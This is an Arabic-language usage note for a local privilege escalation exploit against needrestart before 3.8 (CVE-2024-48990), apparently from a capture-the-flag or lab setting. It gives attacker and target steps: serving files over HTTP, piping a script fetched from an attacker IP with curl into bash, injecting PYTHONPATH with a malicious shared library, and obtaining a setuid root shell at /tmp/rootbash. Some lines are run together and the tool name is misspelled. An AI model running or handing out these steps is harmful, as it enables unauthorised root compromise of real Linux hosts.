
استغلال كامل لثغرة needsrestart للحصول على شل (shell) بصلاحيات الجذر (root) عبر setuid
تصعيد الامتيازات المحلي في needrestart < 3.8 عبر حقن PYTHONPATH.
PYTHONPATH=/tmp/.m من /proc/[pid]/environPYTHONPATH الخبيث الخاص بنا/tmp/.m/importlib/__init__.so (مكتبتنا الخبيثة)/tmp/rootbash/tmp/rootbash -p للحصول على صلاحيات rootنقطة أساسية: يثق needrestart في متغيرات البيئة القادمة من العمليات غير المميزة ويستخدمها عند تشغيل المفسرات بصلاحيات root.
المهاجم:
./compile.sh
python3 -m http.server 8000
الهدف:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
يجب أن تعلق عملية e.py وتُطلق صلاحيات root بمجرد تشغيل الأمر التالي من طرفية ثانية:
sudo needsrestard
الطرفية الأولى ستبدأ بصلاحيات root shell
Qualys Threat Research Unit - CVE-2024-48990